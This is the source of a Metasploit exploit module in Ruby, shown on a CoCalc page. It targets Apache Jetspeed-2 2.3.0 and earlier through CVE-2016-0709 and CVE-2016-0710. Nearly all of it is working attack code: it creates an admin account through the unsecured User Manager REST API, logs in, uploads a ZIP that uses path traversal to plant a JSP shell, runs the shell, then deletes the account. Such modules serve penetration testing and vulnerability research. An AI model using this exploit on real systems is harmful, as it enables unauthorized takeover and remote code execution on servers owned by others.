CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = ManualRanking
8

9
  include Msf::Exploit::Remote::HttpClient
10
  include Msf::Exploit::FileDropper
11

12
  def initialize(info = {})
13
    super(update_info(info,
14
      'Name'           => 'Apache Jetspeed Arbitrary File Upload',
15
      'Description'    => %q{
16
        This module exploits the unsecured User Manager REST API and a ZIP file
17
        path traversal in Apache Jetspeed-2, version 2.3.0 and unknown earlier
18
        versions, to upload and execute a shell.
19

20
        Note: this exploit will create, use, and then delete a new admin user.
21

22
        Warning: in testing, exploiting the file upload clobbered the web
23
        interface beyond repair. No workaround has been found yet. Use this
24
        module at your own risk. No check will be implemented.
25
      },
26
      'Author'         => [
27
        'Andreas Lindh', # Vulnerability discovery
28
        'wvu'            # Metasploit module
29
      ],
30
      'References'     => [
31
        ['CVE', '2016-0710'],
32
        ['CVE', '2016-0709'],
33
        ['URL', 'http://haxx.ml/post/140552592371/remote-code-execution-in-apache-jetspeed-230-and'],
34
        ['URL', 'https://portals.apache.org/jetspeed-2/security-reports.html#CVE-2016-0709'],
35
        ['URL', 'https://portals.apache.org/jetspeed-2/security-reports.html#CVE-2016-0710']
36
      ],
37
      'DisclosureDate' => '2016-03-06',
38
      'License'        => MSF_LICENSE,
39
      'Platform'       => ['linux', 'win'],
40
      'Arch'           => ARCH_JAVA,
41
      'Privileged'     => false,
42
      'Targets'        => [
43
        ['Apache Jetspeed <= 2.3.0 (Linux)',   'Platform' => 'linux'],
44
        ['Apache Jetspeed <= 2.3.0 (Windows)', 'Platform' => 'win']
45
      ],
46
      'DefaultTarget'  => 0
47
    ))
48

49
    register_options([
50
      Opt::RPORT(8080)
51
    ])
52
  end
53

54
  def print_status(msg='')
55
    super("#{peer} - #{msg}")
56
  end
57

58
  def print_warning(msg='')
59
    super("#{peer} - #{msg}")
60
  end
61

62
  def exploit
63
    print_status("Creating admin user: #{username}:#{password}")
64
    create_admin_user
65
    print_status('Logging in as newly created admin')
66
    jetspeed_login
67
    print_status("Uploading payload ZIP: #{zip_filename}")
68
    upload_payload_zip
69
    print_status("Executing JSP shell: /jetspeed/#{jsp_filename}")
70
    exec_jsp_shell
71
  end
72

73
  def cleanup
74
    print_status("Deleting user: #{username}")
75
    delete_user
76
    super
77
  end
78

79
  #
80
  # Exploit methods
81
  #
82

83
  def create_admin_user
84
    send_request_cgi(
85
      'method'    => 'POST',
86
      'uri'       => '/jetspeed/services/usermanager/users',
87
      'vars_post' => {
88
        'name'             => username,
89
        'password'         => password,
90
        'password_confirm' => password
91
      }
92
    )
93
    send_request_cgi(
94
      'method'    => 'POST',
95
      'uri'       => "/jetspeed/services/usermanager/users/#{username}",
96
      'vars_post' => {
97
        'user_enabled' => 'true',
98
        'roles'        => 'admin'
99
      }
100
    )
101
  end
102

103
  def jetspeed_login
104
    res = send_request_cgi(
105
      'method' => 'GET',
106
      'uri'    => '/jetspeed/login/redirector'
107
    )
108

109
    res = send_request_cgi!(
110
      'method'    => 'POST',
111
      'uri'       => '/jetspeed/login/j_security_check',
112
      'cookie'    => res.get_cookies,
113
      'vars_post' => {
114
        'j_username' => username,
115
        'j_password' => password
116
      }
117
    )
118

119
    @cookie = res.get_cookies
120
  end
121

122
  # Let's pretend we're mechanize
123
  def import_file
124
    res = send_request_cgi(
125
      'method' => 'GET',
126
      'uri'    => '/jetspeed/portal/Administrative/site.psml',
127
      'cookie' => @cookie
128
    )
129

130
    html = res.get_html_document
131
    import_export = html.at('//a[*//text() = "Import/Export"]/@href')
132

133
    res = send_request_cgi!(
134
      'method' => 'POST',
135
      'uri'    => import_export,
136
      'cookie' => @cookie
137
    )
138

139
    html = res.get_html_document
140
    html.at('//form[*//text() = "Import File"]/@action')
141
  end
142

143
  def upload_payload_zip
144
    zip = Rex::Zip::Archive.new
145
    zip.add_file("../../webapps/jetspeed/#{jsp_filename}", payload.encoded)
146

147
    mime = Rex::MIME::Message.new
148
    mime.add_part(zip.pack, 'application/zip', 'binary',
149
                  %Q{form-data; name="fileInput"; filename="#{zip_filename}"})
150
    mime.add_part('on', nil, nil, 'form-data; name="copyIdsOnImport"')
151
    mime.add_part('Import', nil, nil, 'form-data; name="uploadFile"')
152

153
    case target['Platform']
154
    when 'linux'
155
      register_file_for_cleanup("../webapps/jetspeed/#{jsp_filename}")
156
      register_dir_for_cleanup("../temp/#{username}")
157
    when 'win'
158
      register_file_for_cleanup("..\\webapps\\jetspeed\\#{jsp_filename}")
159
      register_dir_for_cleanup("..\\temp\\#{username}")
160
    end
161

162
    send_request_cgi(
163
      'method' => 'POST',
164
      'uri'    => import_file,
165
      'ctype'  => "multipart/form-data; boundary=#{mime.bound}",
166
      'cookie' => @cookie,
167
      'data'   => mime.to_s
168
    )
169
  end
170

171
  def exec_jsp_shell
172
    send_request_cgi(
173
      'method' => 'GET',
174
      'uri'    => "/jetspeed/#{jsp_filename}",
175
      'cookie' => @cookie
176
    )
177
  end
178

179
  #
180
  # Cleanup methods
181
  #
182

183
  def delete_user
184
    send_request_cgi(
185
      'method' => 'DELETE',
186
      'uri'    => "/jetspeed/services/usermanager/users/#{username}"
187
    )
188
  end
189

190
  #
191
  # Utility methods
192
  #
193

194
  def username
195
    @username ||= Rex::Text.rand_text_alpha_lower(8)
196
  end
197

198
  def password
199
    @password ||= Rex::Text.rand_text_alphanumeric(8)
200
  end
201

202
  def jsp_filename
203
    @jsp_filename ||= Rex::Text.rand_text_alpha(8) + '.jsp'
204
  end
205

206
  def zip_filename
207
    @zip_filename ||= Rex::Text.rand_text_alpha(8) + '.zip'
208
  end
209
end
210

211